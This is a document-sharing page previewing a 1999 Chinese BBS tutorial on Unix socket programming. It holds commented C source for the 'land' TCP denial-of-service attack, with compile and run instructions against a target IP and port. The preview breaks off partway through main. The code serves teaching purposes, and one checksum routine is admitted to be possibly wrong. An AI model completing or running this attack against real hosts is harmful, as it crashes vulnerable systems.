网络socket编程(6) coolfire.doc
上传人:qw****27 上传时间:2024-09-12 格式:DOC 页数:4 大小:30KB 金币:15 举报 版权申诉
预览加载中,请您耐心等待几秒...

网络socket编程(6) coolfire.doc

网络socket编程(6)coolfire.doc

预览

在线预览结束,喜欢就下载吧,查找使用更方便

15 金币

下载此文档

如果您无法下载资料,请参考说明:

1、部分资料下载需要金币,请确保您的账户上有足够的金币

2、已购买过的文档,再次下载不重复扣费

3、资料包下载后请先用软件解压,在使用对应软件打开

武汉白云黄鹤站∶精华区发信人:cloudsky(晓舟·轩辕明月),信区:Linux标题:网络socket编程(6)发信站:武汉白云黄鹤站(MonFeb820:22:441999),站内信件11.land攻击源程序示例/*编译环境solaris2.5.1看过源程序就可以向Pwin平台下移植,用VC。因为这次是演示Unix/Linux下Socket编程,VC的程序可以参看Ipman附带的源程序,就不多说了。编译命令cc-olandland.c-lsocket-lnsl执行方法因为要建立原始socket的缘故,必须在特权用户下landtargetIp139|113执行纠错在/usr/include/sys/errno.h中查看错误代码,比如在非特权用户下会得到13号错误意即权限否定。一点说明我是在翻看BSDSocket的过程中给这个程序加了详细注释,并给出了一切编译运行的说明,初衷不过是想让大家能感性地认识一下Socket编程和曾经风靡一时的land攻击因为Pwin98已经可以抵抗这种攻击,所以我想这样做没有太多危害了。但是显然还有低版本的Pwin系列存在,革命靠自觉,学习讨论都可以,不要拿着龌龊当有趣。希望这些文章能对爱好Unix/Linux却没有太多时间折腾的朋友有所帮助,至少不要象我一般瞎折腾良久浪费时间重复劳动。毕竟我也是业余爱好,对于BSDSocket编程根本是一窍不通,那个破破的校验和算法与书中提到的不一致,高手指点一下吧,sigh*/#include<stdio.h>#include<sys/types.h>#include<sys/socket.h>#include<netinet/in.h>#include<netinet/in_systm.h>#include<netdb.h>#include<netinet/ip.h>#include<netinet/tcp.h>#include<errno.h>structpseudohdr{structin_addrsaddr;structin_addrdaddr;u_charzero;u_charprotocol;u_shortlength;structtcphdrtcpheader;};u_shortchecksum(u_short*data,u_shortlength){registerlongvalue;u_shorti;value=0;for(i=0;i<(u_short)(length>>1);i++){value+=data[i];}if((length&1)==1){value+=(data[i]<<8);}value=(value&65535)+(value>>16);return(~value);}/*这个计算校验和的函数是我按书中描述写的,与原作者给的不一样*/u_shortanotherChecksum(u_short*data,u_shortlength){registerlongvalue;u_shorti;value=0;for(i=0;i<(u_short)(length>>1);i++){value^=data[i];}return(~value);}intmain(intargc,char*argv[]){structsockaddr_insin;structhostent*hoste;intsock,optval;charbuffer[1024];structpseudohdrpseudoheader;/*实际意义就是IP头+TCP头*/structip*ipheader=(structip*)buffer;structtcphdr*tcpheader=(structtcphdr*)(buffer+sizeof(structip));if(argc<3){/*用法land10.11.5.77113或者land10.11.5.77139*//*用标准错误输出,尽最大可能把提示信息送给用户*/fprintf(stderr,"\nUsage:%sIPPORT\n",argv[0]);return-1;}bzero(&sin,sizeof(structsockaddr_in));/*填零*/sin.sin_family=AF_INET;/*总是这个*/if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1){fprintf(stderr,"\nunknownhost%s\n",argv[1]);return-1;}else{/*调试代码*/fprintf(stderr,"\nsin.sin_addr.s_addr=%x\n",sin.sin_addr.s_addr);}/*从主机字节顺序转换到网络字